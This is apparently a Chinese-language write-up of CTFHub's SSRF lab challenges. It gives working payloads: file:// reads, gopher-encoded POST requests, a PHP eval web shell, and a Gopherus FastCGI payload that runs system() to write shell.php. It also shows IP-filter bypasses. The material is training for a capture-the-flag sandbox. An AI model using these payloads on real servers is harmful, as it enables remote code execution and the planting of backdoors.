2024/7/24
我们来做一做CTFHub之web之ssrf的靶场攻略
我们来到第一题,内网访问
根据题意,网文内网的文件我们使用http://127.0.0.1/flag.php来直接访问存在ssrf漏洞的靶场
即可获得flag,十分简单,考了什么是ssrf漏洞,如何使用漏洞访问内网ip
我们来到第二题
伪协议读取文件
尝试读取web目录下的文件也就是使用file协议来读取文件
file:///flag.php
结果不对显然是文件目录不对
上网查了一下linux网站默认目录 ,Apache默认的网站目录是在/var/www/html
那么我们访问
file:///var/www/html/flag.php
网站会以我们???打开源代码
flag找到了
我们来到第三关
端口扫描
显然扫描端口我们需要工具以及dict协议
dict://127.0.0.1:8000
开启万能的burpsuit
貌似把靶场打崩了,没找到flag
找到了把dict改成http即可
来做第四题
post请求,那么肯定要抓包的
第一步,和前面的题一样先访问http://127.0.0.1/flag.php并F12查看源代码
将代码中的key复制到框中
抓一个包
提示
显然这是302重定向问题,现在处理一下,重抓包然后把包中和重定向相关的都删了
只留下host和两个content
并保存个txt
解决重定向问题改host为
Host: 127.0.0.1:80
加码url编码两次
加码的时候一定要选一个能把空格加码成%20而不是+的加码工具
这点很重要!
第一次
POST%20/flag.php%20HTTP/1.1%0AHost%3A%20127.0.0.1%3A80%0AContent-Length%3A%2036%0AContent-Type%3A%20application/x-www-form-urlencoded%0A%0Akey%3D638bf3fd51a6f68cba2b1fd7dff24140
将编码结果%0A全部替换为%0D%0A并在最后加入%0D%0A
在将结果进行第二次url编码
POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Length%253A%252036%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250A%250D%250Akey%253D638bf3fd51a6f68cba2b1fd7dff24140%250D%250A
在url处填写gopher协议让其用我们抓的包跳转到当前页面
gopher://127.0.0.1:80/_
就找到flag了
第五关
上传文件
打开环境
老规矩先访问flag.php
选择文件上传
发现这个不安好心提交不给提交按钮,无法我们只能自己写一个
F12打开源代码手搓一个
<input type="submit" name="submit">
然后上传一个文件,接着抓一个包
和第四关一样的操作重复一下
删掉多余的
把乱码的框都删了加上相应数量的文字在reperter里看
length长度在重放器里看,要一致
两次url加码
第一次改%0A->%0D%0A最后加%0A
然后gopher://127.0.0.1:80/_提交
ctfhub{36b722c829a7eecd09d50e00}
第六关
FastCGI协议
步骤一:准备一句话木马并构造要执行的终端命令:对一句话木马进行base64编码且写入到名为shell.php的文件中。
<?php @eval($_POST['cmd']);?>
把这段话经过base64编码后为
PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4=
打开kali输入
echo "PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4=" | base64 -d > shell.php
把这段话64解码重定向到shell.php中这样我们的一句话木马准备完毕
步骤二:使用Gopherus工具生成payload:
安装软件
git clone https://github.com/tarunkant/Gopherus.git
python2 gopherus.py --exploit fastcgi
并输入网址目录和木马语句生成攻击载荷
将生成的载荷二次url编码后访问即可
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%02%02%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH125%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%14SCRIPT_FILENAME/vaww/html/index.php%0D%01DOCUMENT_ROOT/%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%7D%04%00%3C%3Fphp%20system%28%27echo%20%22PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4%3D%22%20%7C%C2%A0%20base64%20-d%20%3E%20shell.php%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00
gopher%3A//127.0.0.1%3A9000/_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2501%2502%2502%2500%250F%2510SERVER_SOFTWAREgo%2520/%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP/1.1%250E%2503CONTENT_LENGTH125%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A//input%250F%2514SCRIPT_FILENAME/vaww/html/index.php%250D%2501DOCUMENT_ROOT/%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500%257D%2504%2500%253C%253Fphp%2520system%2528%2527echo%2520%2522PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4%253D%2522%2520%257C%25C2%25A0%2520base64%2520-d%2520%253E%2520shell.php%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500%0A
访问后会在网站同级目录生成shell.php
打开菜刀一个为目录另外一个为木马的参数即可链接
可在根目录下找到flag
本体注意点,加码时不要有多余的空行以及网站同级目录的位置
第七关
这一关同上一题,用相同的软件相同的操作,漏洞改一下即可使用redis漏洞
复制链接去加码加码后攻击网站
http://challenge-f45846a55409a5d6.sandbox.ctfhub.com:10800/?url=_
去掉最后下划线并把代码粘贴网站会一直转圈,这是正常现象
然后根目录访问shell.php
http://challenge-f45846a55409a5d6.sandbox.ctfhub.com:10800/shell.php
为下图,然后使用菜刀
如何使用菜刀见上一课内容,在根目录即可找到flag
第八关
url必须包含http://notfound.ctfhub.com
这里我们使用@,A@B意味着A是B的用户我们使用
来访问即可获得flag
第九关
数字型把ip改为十六进制表示即可
127.0.0.1改为16进制为7F000001
点用0表示其他数字用十六进制转换即可0x可以让浏览器识别十六进制
访问即可获得flag
第十关
使用localhost代替127.0.0.1即可绕过302
第十一关
利用?url=http://7f000001.7f000002.rbndr.us/flag.php即可
访问即可获得flag